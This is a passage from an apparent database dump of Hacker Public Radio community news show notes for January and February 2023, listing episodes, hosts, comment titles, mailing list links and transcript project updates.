Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3774\" target=\"_blank\">3774</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3774\" target=\"_blank\">Emergency Show posted in 2014. Chump Car Report</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0209.html\" target=\"_blank\">David Whitman</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3775\" target=\"_blank\">3775</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3775\" target=\"_blank\">Emergency Show posted in 2014. How to make a punch-card computer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776\" target=\"_blank\">3776</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3776\" target=\"_blank\">A linux distro review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3777\" target=\"_blank\">3777</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3777\" target=\"_blank\">Running Haiku on Bhyve, the BSD Hypervisor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3778\" target=\"_blank\">3778</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3778\" target=\"_blank\">A Squirrel Beeing on Google Products and Google Security</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3779\" target=\"_blank\">3779</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3779\" target=\"_blank\">Just Because You Can Do a Thing... </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3780\" target=\"_blank\">3780</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3780\" target=\"_blank\">Fediverse Update May 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3781\" target=\"_blank\">3781</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3781\" target=\"_blank\">The Joule Thief</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3782\" target=\"_blank\">3782</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3782\" target=\"_blank\">Content Format article from Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 27 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 8 comments on\n6 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1240#comments\" target=\"_blank\">hpr1240</a></strong>\n(2013-05-03) \"<em>Doomsday Rule</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0229.html\" target=\"_blank\">Charles in NJ</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1240#1\" target=\"_blank\">Comment 1</a>:\nCharles in NJ on 2023-01-20:\n\"Doomsday Python Code\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751#comments\" target=\"_blank\">hpr3751</a></strong>\n(2022-12-19) \"<em>Using Noisetorch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3751#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2023-01-22:\n\"Wow this actually works\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3753#comments\" target=\"_blank\">hpr3753</a></strong>\n(2022-12-21) \"<em>Some thoughts on \"Numeronyms\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3753#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-01-16:\n\"Pure obscurantism\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3753#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2023-01-18:\n\"Thanks dnt\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754#comments\" target=\"_blank\">hpr3754</a></strong>\n(2022-12-22) \"<em>GOD probably will use a Chromebook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3754#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-01-18:\n\"Trippy as hell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3758#comments\" target=\"_blank\">hpr3758</a></strong>\n(2022-12-28) \"<em>First sysadmin job - war story</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0342.html\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3758#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-01-12:\n\"What a \"whodunit\"!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3758#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2023-01-25:\n\"love the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3759#comments\" target=\"_blank\">hpr3759</a></strong>\n(2022-12-29) \"<em>Chatting with dnt.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3759#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-01-28:\n\"RISC V emulators.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3762#comments\" target=\"_blank\">hpr3762</a></strong>\n(2023-01-03) \"<em>Existence is pain</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3762#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-01-03:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3762#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2023-01-28:\n\"Character entry devices.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3763#comments\" target=\"_blank\">hpr3763</a></strong>\n(2023-01-04) \"<em>The Baader-Meinhof Phenomenon</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3763#1\" target=\"_blank\">Comment 1</a>:\nViv on 2023-01-05:\n\"Meta Baader-Meinhof\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3763#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2023-01-06:\n\"I rest my case\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3764#comments\" target=\"_blank\">hpr3764</a></strong>\n(2023-01-05) \"<em>My text-focused journey into tech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0415.html\" target=\"_blank\">enistello</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3764#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"emacs rocks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3766#comments\" target=\"_blank\">hpr3766</a></strong>\n(2023-01-09) \"<em>ACER Nitro 5 laptop review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3766#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2023-01-12:\n\"Good Review, but Still Avoiding Gaming Laptops\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3766#2\" target=\"_blank\">Comment 2</a>:\nbookeyrmm on 2023-01-13:\n\"reply to claudio\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3767#comments\" target=\"_blank\">hpr3767</a></strong>\n(2023-01-10) \"<em>LP article from Wikipedia</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3767#1\" target=\"_blank\">Comment 1</a>:\nCeleste on 2023-01-10:\n\"Riaa curve and italian youtuber video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3768#comments\" target=\"_blank\">hpr3768</a></strong>\n(2023-01-11) \"<em>Jeep Ignition Repair</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0408.html\" target=\"_blank\">Stache_AF</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3768#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-01-28:\n\"Ear pieces.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3771#comments\" target=\"_blank\">hpr3771</a></strong>\n(2023-01-16) \"<em>How I eliminated pain naturally</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0383.html\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3771#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"music\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3772#comments\" target=\"_blank\">hpr3772</a></strong>\n(2023-01-17) \"<em>Adventures with a small solar panel</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3772#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"good info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3773#comments\" target=\"_blank\">hpr3773</a></strong>\n(2023-01-18) \"<em>My Public Speaking Rules</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#1\" target=\"_blank\">Comment 1</a>:\nmpardo on 2023-01-18:\n\"A \"must listen\" to all who aspire to speak to an audience\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2023-01-18:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#3\" target=\"_blank\">Comment 3</a>:\none_of_spoons on 2023-01-19:\n\"Professional demeanour.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#4\" target=\"_blank\">Comment 4</a>:\nMike Ray on 2023-01-20:\n\"Thanks very much to everybody. I listened back to this when it was published. I hope the Christmas b\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2023-01-21:\n\"Messed up that last comment\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776#comments\" target=\"_blank\">hpr3776</a></strong>\n(2023-01-23) \"<em>A linux distro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3776#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"how to do it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3778#comments\" target=\"_blank\">hpr3778</a></strong>\n(2023-01-25) \"<em>A Squirrel Beeing on Google Products and Google Security</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3778#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"2fa\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3778#2\" target=\"_blank\">Comment 2</a>:\nJohnnyLawrence on 2023-01-26:\n\"Whoafully misinformed\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-January/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"show-transcripts\">Show transcripts</h3>\n<p>Transcripts of audio have been generated for shows since December\n2022, using the <a\nhref=\"https://openai.com/blog/whisper/\"><code>Whisper</code></a> tool.\nKen Fallon has been working on this project, and has also been\ntranscribing the older shows from <code>hpr0001</code> to the present\nday. This part of the project is complete.</p>\n<p>The transcripts have been attached to each show on the HPR website,\nand are in the process of being added on archive.org.</p>\n<ul>\n<li><a href=\"https://github.com/openai/whisper\">Whisper on\nGitHub</a></li>\n</ul>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>This \"re-upload\" <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">project</a>\nis now ended. All shows from 871 to 2429 have been re-uploaded with all\naudio files and other assets.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3806,'2023-03-06','HPR Community News for February 2023',4592,'HPR Volunteers talk about shows released and comments posted in February 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0416.html\" target=\"_blank\">screwtape</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0417.html\" target=\"_blank\">StarshipTux</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0418.html\" target=\"_blank\">David Thrane Christiansen</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3783\" target=\"_blank\">3783</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3783\" target=\"_blank\">Accessibility, and Navigating the HPR Web Pages with a Screen Reader</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3784\" target=\"_blank\">3784</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3784\" target=\"_blank\">Two factor authentication without a phone number</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3785\" target=\"_blank\">3785</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3785\" target=\"_blank\">Hacking Boba Bubble Tapioca Pearls Fail </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3786\" target=\"_blank\">3786</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3786\" target=\"_blank\">HPR Community News for January 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3787\" target=\"_blank\">3787</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3787\" target=\"_blank\">It shouldn\'t crackle like that</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3788\" target=\"_blank\">3788</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3788\" target=\"_blank\">Nitecore Tube torch</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3789\" target=\"_blank\">3789</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3789\" target=\"_blank\">Common lisp portable games including acl2 formal logic</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0416.html\" target=\"_blank\">screwtape</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3790\" target=\"_blank\">3790</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3790\" target=\"_blank\">Tucson, Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3791\" target=\"_blank\">3791</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3791\" target=\"_blank\">My Hardware Problem - Keyboards</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0417.html\" target=\"_blank\">StarshipTux</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3792\" target=\"_blank\">3792</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3792\" target=\"_blank\">Learning to read music, part one</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0415.html\" target=\"_blank\">enistello</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3793\" target=\"_blank\">3793</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3793\" target=\"_blank\">RE: Zen_Floater2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3794\" target=\"_blank\">3794</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3794\" target=\"_blank\">Retro Karaoke machine restored</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3795\" target=\"_blank\">3795</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3795\" target=\"_blank\">2022-2023 New Years Show Episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3796\" target=\"_blank\">3796</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3796\" target=\"_blank\">Dependent Types</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0418.html\" target=\"_blank\">David Thrane Christiansen</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3797\" target=\"_blank\">3797</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3797\" target=\"_blank\">How to submit changes to HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3798\" target=\"_blank\">3798</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3798\" target=\"_blank\">Laptop Second SSD MXLinux Install</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3799\" target=\"_blank\">3799</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3799\" target=\"_blank\">My home router history</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0342.html\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3800\" target=\"_blank\">3800</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3800\" target=\"_blank\">NIST Quantum Cryptography Update 20221008</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3801\" target=\"_blank\">3801</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3801\" target=\"_blank\">Enter the gopher</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0416.html\" target=\"_blank\">screwtape</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3802\" target=\"_blank\">3802</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3802\" target=\"_blank\">Attack of the Squishmallow</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 30 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776#comments\" target=\"_blank\">hpr3776</a></strong>\n(2023-01-23) \"<em>A linux distro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3776#2\" target=\"_blank\">Comment 2</a>:\nbookewyrmm on 2023-02-08:\n\"RE: How to do it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3781#comments\" target=\"_blank\">hpr3781</a></strong>\n(2023-01-30) \"<em>The Joule Thief</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3781#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-02-01:\n\"Candle power.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 28 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3783#comments\" target=\"_blank\">hpr3783</a></strong>\n(2023-02-01) \"<em>Accessibility, and Navigating the HPR Web Pages with a Screen Reader</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-03:\n\"HPR\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2023-02-04:\n\"Podcast Clients\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#3\" target=\"_blank\">Comment 3</a>:\nMechatroniac on 2023-02-12:\n\"gpodder\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2023-02-12:\n\"awkward web site\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#5\" target=\"_blank\">Comment 5</a>:\nMechatroniac on 2023-02-13:\n\"nm\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#6\" target=\"_blank\">Comment 6</a>:\nKen Fallon on 2023-02-14:\n\"Fixed.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3784#comments\" target=\"_blank\">hpr3784</a></strong>\n(2023-02-02) \"<em>Two factor authentication without a phone number</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3784#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-07:\n\"Thank you for making this podcast\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3789#comments\" target=\"_blank\">hpr3789</a></strong>\n(2023-02-09) 